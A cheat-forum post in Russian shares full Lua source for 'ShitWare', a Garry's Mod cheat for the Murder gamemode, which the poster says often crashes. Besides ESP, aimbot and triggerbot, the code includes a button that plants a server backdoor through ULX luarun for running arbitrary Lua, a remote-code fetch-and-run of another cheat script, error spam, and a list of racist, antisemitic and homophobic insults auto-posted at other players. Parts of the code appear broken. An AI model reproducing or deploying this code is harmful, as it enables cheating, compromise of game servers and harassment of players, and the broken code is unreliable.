Главный Администратор Интернета
-
Автор темы
- #1
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Паста для гаррис мода, а именно для
режима murder. Явной отличительной
фишкой данного проекта является то,
что он сам по себе крашит и не всегда
загружается в игру. Попытки пофиксить
этот прикол не обошлись ни чем, хорошим
данная паста так и продолжает крашить игру.
У меня она загрузилась с 2019 раза.
режима murder. Явной отличительной
фишкой данного проекта является то,
что он сам по себе крашит и не всегда
загружается в игру. Попытки пофиксить
этот прикол не обошлись ни чем, хорошим
данная паста так и продолжает крашить игру.
У меня она загрузилась с 2019 раза.
Код:
local shit = {}
local ply = LocalPlayer()
local t = nil
local l = nil
local d = nil
shit.gm = gmod.GetGamemode().Name
shit.info = {
"ShitWare owned by 0x0000/cactys/d3stro3r",
"Version 1.9",
"Created By ннчик без скита",
"Any Problems contact yougame theme",
}
function shit.log(...)
chat.AddText(Color(0, 255, 0), "[ShitWare] ", Color(255, 255, 255), ...)
end
function shit.logc(...)
MsgC(Color(0, 255, 0), "[ShitWare] ", Color(255, 255, 255), ...)
MsgN()
end
if shit.gm ~= "Murder" then
shit.logc(Color(255, 0, 0), "This cheat is mainly for murder")
shit.logc(Color(255, 0, 0), "Non-Murder gamemodes may cause bugs!")
end
function shit.unload()
RunConsoleCommand("stopsound")
hook.Remove("PreDrawSkyBox", "shit no sky")
hook.Remove("HUDPaint", "shitmarker")
hook.Remove("HUDPaint", "shit esp")
hook.Remove("CreateMove", "shit hak")
hook.Remove("Think", "shit gui")
hook.Remove("CalcView", "shit thirdperson")
hook.Remove("ShouldDrawLocalPlayer", "shit thirdperson")
hook.Remove("entity_killed", "shit insults")
hook.Remove("player_hurt", "shitmarker")
hook.Remove("entity_killed", "shitmarker")
hook.Remove("HUDShouldDraw", "shit crosshair")
timer.Destroy("shit insults")
timer.Destroy("shit spam")
shit.gui:Remove()
end
function shit.aim(c, p)
local t = p:LookupBone("ValveBiped.Bip01_Pelvis")
if t != nil then
local pos, ang = p:GetBonePosition(t)
c:SetViewAngles((pos-LocalPlayer():GetShootPos()):Angle())
end
end
concommand.Add("luarun", function(p, c, a, aS)
CompileString(aS, "ULib")()
end)
shit.fps = {
"cl_threaded_bone_setup 1",
"cl_threaded_client_leaf_system 1",
"r_threaded_client_shadow_manager 1",
"r_threaded_renderables 1",
"r_threaded_particles 1",
"mat_queue_mode -1",
"gmod_mcore_test 1",
"studio_queue_mode 1",
"r_queued_ropes 1",
"cl_interp 0.066",
"cl_interp_ratio 2",
"cl_updaterate 200",
"cl_cmdrate 200"
}
for k,v in pairs(shit.fps) do
ply:ConCommand(v)
end
function shit.checkNet(netstr)
return (util.NetworkStringToID(netstr) > 0)
end
function shit.makeUI(txt)
local ui = vgui.Create("DFrame")
ui:SetSize(666, 400)
ui:Center()
ui:ShowCloseButton(false)
ui:MakePopup()
ui:SetText("")
function ui:Paint()
draw.RoundedBox(5, 0, 0, self:GetWide(), self:GetTall(), Color(255, 255, 255, 255))
end
local title = vgui.Create("DLabel", ui)
title:SetSize(200, title:GetTall())
title:SetPos(10, 5)
title:SetText(txt)
title:SetTextColor(Color(0, 0, 0))
local closebtn = vgui.Create("DButton", ui)
closebtn:SetSize(40, 14)
closebtn:SetPos(ui:GetWide() - closebtn:GetWide() - 5, 0)
closebtn:SetText("x")
closebtn:SetTextColor(Color(255, 255, 255))
function closebtn:DoClick()
ui:Hide()
end
function closebtn:Paint()
if self:IsHovered() then
draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(255, 0, 0, 220))
else
draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(0, 0, 0, 200))
end
end
local function PaintTab(self,w,h)
self:SetTextColor(Color(0, 0, 0))
if self:IsHovered() then
draw.RoundedBox(0, 0, h - 2, w, 2, Color(0, 0, 0, 255))
end
end
local function PaintATab(self,w,h)
draw.RoundedBox(0, 0, h - 10, w, 2, Color(0, 255, 0, 255))
self:SetTextColor(Color(0, 0, 0))
end
local tabs = vgui.Create("DPropertySheet", ui)
tabs:Dock(FILL)
function tabs:Paint(w, h)
for k,v in pairs(tabs.Items) do
if v.Tab:GetText() == "" then
v.Tab.Paint = function() end
v.Tab.DoClick = function() end
v.Tab:SetColor(Color(0, 0, 0))
v.Tab:SetMouseInputEnabled(false)
else
v.Tab.Paint = PaintTab
end
v.Tab.DoRightClick = function() end
end
tabs:GetActiveTab().Paint = PaintATab
end
return ui,tabs,title
end
function shit.newPlist()
local plist = vgui.Create("DListView", shit.gui)
plist:SetMultiSelect(false)
plist:AddColumn("ID")
plist:AddColumn("SteamID")
plist:AddColumn("Name")
plist:AddColumn("Rank")
plist:AddColumn("Kills")
plist:AddColumn("Deaths")
plist:Dock(FILL)
function plist:OnRowRightClick(rI, r)
local Menu = vgui.Create("DMenu")
Menu:AddOption("Steam Profile", function()
local ply = Player(r:GetValue(1))
gui.OpenURL("https://steamcommunity.com/profiles/" .. ply:SteamID64())
end)
Menu:Open()
end
for k,v in pairs(player.GetAll()) do
plist:AddLine(v:UserID(), v:SteamID(), v:Nick(), v:GetUserGroup(), v:Frags(), v:Deaths())
end
return plist
end
function shit.newTab()
local tab = vgui.Create("DScrollPanel", shit.gui)
tab:Dock(FILL)
local sbar = tab:GetVBar()
sbar:SetWide(8)
function sbar.btnUp:Paint(w, h)
draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 255))
end
function sbar.btnDown:Paint(w, h)
draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 255))
end
function sbar:Paint(w, h)
draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 100))
end
function sbar.btnGrip:Paint(w, h)
draw.RoundedBox(2, 0, 0, w, h, Color(0, 255, 0))
end
return tab
end
shit.gui,shit.tabs,shit.title = shit.makeUI("ShitWare | Home")
shit.gui:Hide()
shit.home = shit.newTab()
shit.home:Dock(FILL)
shit.infolabel = vgui.Create("DLabel", shit.home)
shit.infolabel:SetPos(0, 0)
shit.infolabel:SetText(string.Implode("\n", shit.info))
shit.infolabel:SetSize(shit.infolabel:GetWide(), (#shit.info * 13))
shit.infolabel:SetColor(Color(0, 0, 0))
shit.infolabel:DockMargin(4, 0, 0, 0)
shit.infolabel:Dock(FILL)
shit.unloadbtn = vgui.Create("DButton", shit.gui)
shit.unloadbtn:SetText("Unload")
shit.unloadbtn:SetColor(Color(0, 0, 0))
shit.unloadbtn:Dock(BOTTOM)
shit.unloadbtn.DoClick = function()
shit.unload()
end
shit.cheats = shit.newTab()
shit.lua = shit.newTab()
shit.music = shit.newTab()
shit.plist = shit.newPlist()
shit.tabs:AddSheet("Home", shit.home)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Cheats", shit.cheats)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Lua Scripts", shit.lua)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Shit Music", shit.music)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Player List", shit.plist)
function shit.tabs:OnActiveTabChanged(old, new)
shit.title:SetText("ShitWare | " .. new:GetText())
end
function shit.addCat(name)
local chk = vgui.Create("DLabel", shit.cheats)
chk:SetText(name)
chk:SetTextColor(Color(0, 0, 0))
chk:Dock(TOP)
end
function shit.add(name, cvar)
CreateClientConVar(cvar, 0)
local chk = vgui.Create("DCheckBoxLabel", shit.cheats)
chk:SetConVar(cvar)
chk:SetText(name)
chk:SetTextColor(Color(0, 0, 0))
chk:Dock(TOP)
function chk.Button:Paint()
draw.RoundedBox(0, 1, 1, 12, 12, Color(0, 0, 0))
if self:GetChecked() then
draw.RoundedBox(0, 2, 2, 10, 10, Color(0, 255, 0))
end
end
end
function shit.addlua(name, code, panel)
if panel == nil then
panel = shit.lua
end
local btn = vgui.Create("DButton", panel)
btn:SetText(name)
btn:SetTextColor(Color(0, 0, 0))
btn:Dock(TOP)
btn:DockMargin(0, 0, 0, 2)
btn.DoClick = function()
surface.PlaySound("buttons/button18.wav")
RunString(code, "ULib")
end
function btn:Paint()
if self:IsDown() then
draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(0, 255, 0, 200))
elseif self:IsHovered() then
draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(25, 25, 25, 160))
end
surface.SetDrawColor(0, 0, 0)
surface.DrawOutlinedRect(0, 0, self:GetWide(), self:GetTall())
end
end
function shit.addsong(name, url)
shit.addlua(name, [[sound.PlayURL("]]..url..[[", "", function() end)]], shit.music)
end
shit.addCat("ESP")
shit.add("Prop Chams", "r_drawprops")
shit.add("RGB Chams", "r_drawcolor")
shit.add("Simple Sky", "r_drawsky")
shit.add("Velocity", "r_showpos")
shit.addCat("Aim")
shit.add("Aimbot (Right Click)", "xbox_autoaim")
shit.add("Triggerbot", "ai_trigger")
shit.addCat("Chat Spam")
shit.add("Insult On Kill", "ulx_asay")
shit.add("Insult Spam", "ulx_psay")
shit.add("Promo Spam", "ulx_csay")
shit.add("Spam Only When Alive", "r_drawdead")
shit.addCat("Misc")
shit.add("Bunny Hop", "cl_jump")
shit.add("Third Person", "r_drawself")
shit.addlua("Lua Error Spam", "local pname = {'ULX', 'ULib', '"..shit.gm.."'} timer.Create('ErrSpam', 0.01, 100, function() RunString(string.rep('\\n', math.random(0, 1000))..'=', pname[math.random(1, #pname)]) end)")
shit.addlua("ShitBackdoor", [[local ccode = "" local df = vgui.Create("DFrame") df:SetSize(700, 500) df:Center() df:SetText("") df:ShowCloseButton(false) df:MakePopup() function df:Paint() draw.RoundedBox(5, 0, 0, self:GetWide(), self:GetTall(), Color(255, 255, 255, 255)) end local title = vgui.Create("DLabel", df) title:SetSize(200, title:GetTall()) title:SetPos(10, 5) title:SetText("GMOD Lua Run") title:SetTextColor(Color(0, 0, 0)) local closebtn = vgui.Create("DButton", df) closebtn:SetSize(40, 14) closebtn:SetPos(df:GetWide() - closebtn:GetWide() - 5, 0) closebtn:SetText("x") closebtn:SetTextColor(Color(255, 255, 255)) function closebtn:DoClick() df:Close() end function closebtn:Paint() if self:IsHovered() then draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(255, 0, 0, 220)) else draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(0, 0, 0, 200)) end end local code = vgui.Create("DHTML", df) code:OpenURL("http://metastruct.github.io/lua_editor/") code:Dock(FILL) code:AddFunction("gmodinterface", "OnCode", function(str) ccode = str end) local btn = vgui.Create("DButton", df) btn:SetSize(0, 24) btn:SetText("Execute Lua!") btn:Dock(BOTTOM) btn.DoClick = function() net.Start("ShitWare") net.WriteString(ccode) net.SendToServer() end]])
shit.addlua("Inject ShitBackdoor (ULX LuaRun)", "RunConsoleCommand('ulx', 'luarun', \"util.AddNetworkString('ShitWare') net.Receive('ShitWare', function() RunString(net.ReadString()) end)\")")
shit.addlua("AceBot Menu", "http.Fetch('https://raw.githubusercontent.com/ProjectOdium/OdiumLua/master/acebot_release.lua', RunString)")
shit.addsong("Megalovania", "https://darkchemistry.net/mus/meg.mp3")
shit.addsong("Chill", "https://darkchemistry.net/mus/chill.mp3")
shit.addsong("sans.", "https://darkchemistry.net/mus/sans.mp3")
shit.addsong("Pumped Up Kicks", "https://darkchemistry.net/mus/puk.mp3")
concommand.Add("menu", function()
if shit.gui:IsVisible() then
shit.gui:Hide()
else
shit.gui:Show()
end
end)
local chamsmat = CreateMaterial("a", "VertexLitGeneric", {
["$ignorez"] = 1,
["$model"] = 1,
["$basetexture"] = "models/debug/debugwhite",
})
local chamsmat2 = CreateMaterial("@", "VertexLitGeneric", {
["$ignorez"] = 0,
["$model"] = 1,
["$basetexture"] = "models/debug/debugwhite",
})
surface.CreateFont("bigfont", {font = "Arial",size = 24,weight = 500,blursize = 0,scanlines = 0,antialias = true,underline = false,italic = false,strikeout = false,symbol = false,rotary = false,shadow = false,additive = false,outline = false,})
txt = {}
txt["pos"] = {1, 2}
txt["text"] = "S h i t W a r e"
txt["font"] = "bigfont"
txt["xalign"] = TEXT_ALIGN_LEFT
txt["yalign"] = TEXT_ALIGN_TOP
txt["color"] = Color(0, 255, 0)
function shit.esp(v, c, h)
if !IsValid(v) then return end
local h = h or "N/A"
cam.Start3D()
render.MaterialOverride(chamsmat)
render.SetColorModulation(c.r, c.g, c.b)
v:DrawModel()
render.SetColorModulation(c.r, c.g, c.b)
render.MaterialOverride(chamsmat2)
v:DrawModel()
render.SetColorModulation(1, 1, 1)
cam.End3D()
local min, max = v:GetCollisionBounds()
local pos = v:GetPos()
local top, bottom = (pos + Vector(0, 0, max.z)):ToScreen(), (pos - Vector(0, 0, 8)):ToScreen()
local middle = bottom.y - top.y
local width = middle / 2.425
if v:IsPlayer() then
draw.SimpleTextOutlined(v:GetNWString("bystanderName"), "DermaDefault", bottom.x, bottom.y - 11, c, TEXT_ALIGN_CENTER, TEXT_ALIGN_CBOTTOM, 1, Color(0, 0, 0))
draw.SimpleTextOutlined(v:Nick(), "DermaDefault", bottom.x, bottom.y, c, TEXT_ALIGN_CENTER, TEXT_ALIGN_CBOTTOM, 1, Color(0, 0, 0))
else
draw.SimpleTextOutlined(h, "DermaDefault", bottom.x, bottom.y - 11, c, TEXT_ALIGN_CENTER, TEXT_ALIGN_CBOTTOM, 1, Color(0, 0, 0))
end
end
hook.Add("HUDPaint", "shit esp", function()
draw.SimpleTextOutlined("ShitWare owned by 0x0000/cactys/d3stro3r", "bigfont", 1, 2, Color(0, 255, 0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))
if string.find(v:GetClass(), "prop_") && GetConVar("r_drawprops"):GetBool() then
if GetConVar("r_drawcolor"):GetBool() then
shit.esp(v, HSVToColor(CurTime() % 6 * 60, 1, 1), "Prop")
else
shit.esp(v, Color(255, 255, 255), "Prop")
end
end
for k,v in pairs(player.GetAll()) do
if ply:HasWeapon("weapon_mu_knife") then t = ply end
if ply:HasWeapon("weapon_mu_magnum") then d = ply end
if v == ply then continue end
if !v:Alive() || v:Health() < 0 then
if v:GetPos():Distance(ply:GetPos()) == 0 && v ~= ply then
draw.SimpleTextOutlined("!!! You Are Being Spectated !!!", "bigfont", ScrW() / 2, 200, Color(255, 0, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))
end
continue
end
if shit.gm == "Murder" then
if v:HasWeapon("weapon_mu_knife") then
shit.esp(v, Color(255, 0, 0))
t = v
elseif v == t then
shit.esp(v, Color(255, 0, 0))
elseif v:HasWeapon("weapon_mu_magnum") then
shit.esp(v, Color(0, 0, 255))
d = v
else
shit.esp(v, Color(0, 255, 0))
end
else
shit.esp(v, HSVToColor(math.Clamp(v:Health(), 0, 100), 1, 1))
end
end
surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
surface.DrawLine(ScrW() / 2 - 11, ScrH() / 2, ScrW() / 2 + 11 , ScrH() / 2)
surface.DrawLine(ScrW() / 2 - 0, ScrH() / 2 - 11, ScrW() / 2 - 0 , ScrH() / 2 + 11)
if IsValid(t) && shit.gm == "Murder" then
local n = t:GetNWString("bystanderName")
local c = t:GetPlayerColor()
local i = n.."/"..t:Nick()
if t:GetFriendStatus() == "friend" then
i = i .. " [FRIEND]"
elseif t == ply then
i = "Self"
end
draw.SimpleTextOutlined("Murderer: "..i, "bigfont", 2, 22, Color(c.x * 255, c.y * 255, c.z * 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))
end
if IsValid(d) && shit.gm == "Murder" then
local n = d:GetNWString("bystanderName")
local c = d:GetPlayerColor()
local i = n.."/"..d:Nick()
if d:GetFriendStatus() == "friend" then
i = i .. " [FRIEND]"
elseif d == ply then
i = "Self"
end
draw.SimpleTextOutlined("Gunman: "..i, "bigfont", 2, 42, Color(c.x * 255, c.y * 255, c.z * 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))
end
if !ply:Alive() then return end
l = LocalPlayer():GetEyeTrace().Entity
if !IsValid(l) || !l:IsPlayer() then return end
if l == t && l ~= ply then
draw.SimpleTextOutlined("Murderer", "bigfont", ScrW() / 2, ScrH() / 2 - 40, Color(255, 0, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
elseif l == d && l ~= ply then
draw.SimpleTextOutlined("Gunman", "bigfont", ScrW() / 2, ScrH() / 2 - 40, Color(0, 0, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
elseif l ~= ply then
draw.SimpleTextOutlined("Civilian", "bigfont", ScrW() / 2, ScrH() / 2 - 40, Color(0, 255, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
end
if l ~= ply && l:GetFriendStatus() == "friend" then
draw.SimpleTextOutlined("Friend", "bigfont", ScrW() / 2, ScrH() / 2 - 20, Color(0, 255, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
end
if l ~= ply then
local n = l:GetNWString("bystanderName")
local c = l:GetPlayerColor()
draw.SimpleTextOutlined(n, "bigfont", ScrW() / 2, ScrH() / 2 - 80, Color(c.x * 255, c.y * 255, c.z * 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
draw.SimpleTextOutlined(l:Nick(), "bigfont", ScrW() / 2, ScrH() / 2 - 60, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
end
end)
hook.Add("CreateMove", "shit hak", function(cmd)
if GetConVar("cl_jump"):GetBool() then
if ply:WaterLevel() == 0 && !ply:IsFlagSet(FL_ONGROUND) && ply:GetMoveType() != MOVETYPE_NOCLIP && ply:GetMoveType() != MOVETYPE_LADDER && ply:GetMoveType() != MOVETYPE_OBSERVER then
if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400)
else
cmd:SetForwardMove(8850 / ply:GetVelocity():Length2D())
cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400)
end
end
if ply:WaterLevel() == 0 && ply:GetMoveType() != MOVETYPE_NOCLIP && ply:GetMoveType() != MOVETYPE_LADDER && ply:GetMoveType() != MOVETYPE_OBSERVER then
if cmd:KeyDown(IN_JUMP) && !ply:IsOnGround() then
cmd:RemoveKey(IN_JUMP)
elseif cmd:KeyDown(IN_JUMP) && ply:IsOnGround() then
cmd:SetForwardMove(50000)
end
end
end
if ply:Alive() && IsValid(t) && l == t && l ~= ply && GetConVar("ai_trigger"):GetBool() then
if ply:Alive() && IsValid(ply:GetActiveWeapon()) && ply:GetActiveWeapon():GetClass() ~= "weapon_mu_hands" then
cmd:SetButtons(cmd:GetButtons() + IN_ATTACK)
end
end
if IsValid(t) && ply:Alive() && GetConVar("xbox_autoaim"):GetBool() && input.IsMouseDown(MOUSE_RIGHT) then
if ply:Alive() && t:Alive() then
shit.aim(cmd, t)
end
end
end)
local insertdown = false
hook.Add("Think", "shit gui", function()
if input.IsKeyDown(KEY_HOME) && !shit.gui:IsVisible() && !insertdown then
insertdown = true
shit.gui:Show()
elseif input.IsKeyDown(KEY_INSERT) && shit.gui:IsVisible() && !insertdown then
insertdown = true
shit.gui:Hide()
elseif !input.IsKeyDown(KEY_INSERT) then
insertdown = false
end
end)
function shit.tp(ply, pos, ang, fov)
ang:Normalize()
if GetConVar("r_drawself"):GetBool() then
ply:SetColor(Color(255,255,255,100))
ply:SetRenderMode(RENDERMODE_TRANSALPHA)
local view = {}
view.origin = pos - (ang:Forward() * 100)
view.angles = ang
view.fov = fov
return view
end
end
hook.Add("CalcView", "shit thirdperson", shit.tp)
function ThirdPersonDLP()
return GetConVar("r_drawself"):GetBool()
end
hook.Add("ShouldDrawLocalPlayer", "shit thirdperson", ThirdPersonDLP)
shit.insults = {"{name} got fucked in the ass","{name} got fucking raped in the ass","{name} can drink my fucking piss","{name} can be gay another day","{name} could eat my shit","{name} can suck my large penis","{name} should visit our discord server","{name} can drink my dogs piss","{name} is fucked up because he died","{name} is fucking gay","{name} is a feminist","{name} is a fucking faggot","{name} is a fucking furfag and should not be proud","{name} is getting dominated by me, aka god","{name} lives in a fucking dirty hut, retarded african boy","{name} is a goddamn racist","{name} is being searched for by the fbi","{name} has ultra gay","{name} should join the discord server tf","{name} should fucking die by me again","{name} should die again","{name} is a fff alt","{name} is legit loser","{name} is a legit noob","{name} is a fucking gaywad","{name} got cucked","{name} is dominated by pure fucking skill","{name} is a noob","{name} got milk?","{name} still believes that god and santa exist lol","{name} is a dirty jew","{name} is a trump supporter","{name} lives in america","{name} has a deformed face","{name} is ugly as shit fr tho","{name} looks like deformed fetus that died","{name} can go rot in hell","{name} is a normie","{name} is a smelly jew","{name} plays minecraft for fun","{name} is gay","{name} is stupid","{name} is a furry","{name} is a waste of human flesh","{name} is an orange","{name} is a fruit","{name} is a failed abortion","{name} plays with toy trains","{name} fucking died","{name} plays with his dick for fun","{name} likes traps","{name} is a {name}","{name} is gay"}
hook.Add("entity_killed", "shit insults", function(info)
local killer = Entity(info.entindex_attacker)
local killed = Entity(info.entindex_killed)
if GetConVar("ulx_asay"):GetBool() && !GetConVar("ulx_psay"):GetBool() && killer ~= killed && killer == ply && killed ~= ply then
local insult = string.Replace(table.Random(shit.insults), "{name}", killed:Nick())
RunConsoleCommand("say", insult)
end
end)
gameevent.Listen("entity_killed")
function shit.rndPly()
local ps = player.GetAll()
local p = ps[math.random(1, #ps)]
if p == ply then
return shit.rndPly()
end
return p
end
timer.Create("shit insults", 0.1, -1, function()
local p = shit.rndPly()
if GetConVar("ulx_psay"):GetBool() then
local insult = string.Replace(table.Random(shit.insults), "{name}", p:Nick())
if shit.gm == "DarkRP" then insult = "/ooc " .. insult end
if !GetConVar("r_drawdead"):GetBool() && !ply:Alive() then
RunConsoleCommand("say", insult)
elseif ply:Alive() then
RunConsoleCommand("say", insult)
end
end
end)
shit.ad = 1
shit.ads = {"Worst Free Cheat.", "Pwn The Noobs.", "Get Rekt.", "Go Die In A Pit.", "Get It Now."}
timer.Create("shit spam", 0.1, -1, function()
if GetConVar("ulx_csay"):GetBool() then
local msg = "ShitWare | " .. shit.ads[shit.ad]
if shit.gm == "DarkRP" then msg = "/ooc " .. msg end
if !GetConVar("r_drawdead"):GetBool() || ply:Alive() then
RunConsoleCommand("say", msg)
end
if shit.ad < #shit.ads then
shit.ad = shit.ad + 1
else
shit.ad = 1
end
end
end)
local alpha = 0
local fDelay = 0
if !file.Exists("hitmarker.dat", "DATA") then
http.Fetch("https://github.com/Soleedus/GMod-Simple-Hitmarker/raw/master/sound/hitmarker.wav", function(data)
file.Write("hitmarker.dat", data)
end)
end
function hitmarker(play)
if play then sound.PlayFile("data/hitmarker.dat", "noblock", function(hit) end) end
alpha = 255
fDelay = 120
end
gameevent.Listen("player_hurt")
hook.Add("player_hurt", "shitmarker", function( data )
if data.attacker != ply:UserID() or data.userid == ply:UserID() then return end
hitmarker(true)
alpha = 255
end)
gameevent.Listen("entity_killed")
hook.Add("entity_killed", "shitmarker", function(data)
local killed = Entity(data.entindex_killed)
local attacker = Entity(data.entindex_attacker)
if !attacker.IsPlayer() then return end
if attacker:UserID() != ply:UserID() or killed:UserID() == ply:UserID() then return end
hitmarker(false)
shit.log(Color(100,255,100), "Killed " .. killed:Nick())
kName = killed:Nick()
end)
hook.Add("HUDShouldDraw", "shit crosshair", function(h)
if h == "CHudCrosshair" then
return false
end
end)
hook.Add("HUDPaint", "shitmarker", function()
if !ply:Alive() then alpha = 0 return end
alpha = math.Approach(alpha, 0, 5)
local screen = Vector(ScrW() / 2, ScrH() / 2)
surface.SetDrawColor(255, 255, 255, alpha)
surface.DrawLine(screen.x - 15, screen.y - 15, screen.x - 5, screen.y - 5)
surface.DrawLine(screen.x - 15, screen.y + 15, screen.x - 5, screen.y + 5)
surface.DrawLine(screen.x + 15, screen.y - 15, screen.x + 5, screen.y - 5)
surface.DrawLine(screen.x + 15, screen.y + 15, screen.x + 5, screen.y + 5)
end)
hook.Add("PreDrawSkyBox", "shit no sky", function()
if GetConVar("r_drawsky"):GetBool() then
render.Clear(100, 150, 255, 255)
return true
end
end)
hook.Add("OnPlayerChat", "shit chat", function(v, text, team)
if string.lower(text) == "sh_unload" then
shit.unload()
return true
end
if string.find(string.lower(text), "\n") then
text = string.Replace(text, "\n", "")
end
end)
concommand.Add("unload", shit.unload)
shit.log("Initialized!")
surface.PlaySound("garrysmod/content_downloaded.wav")
Последнее редактирование: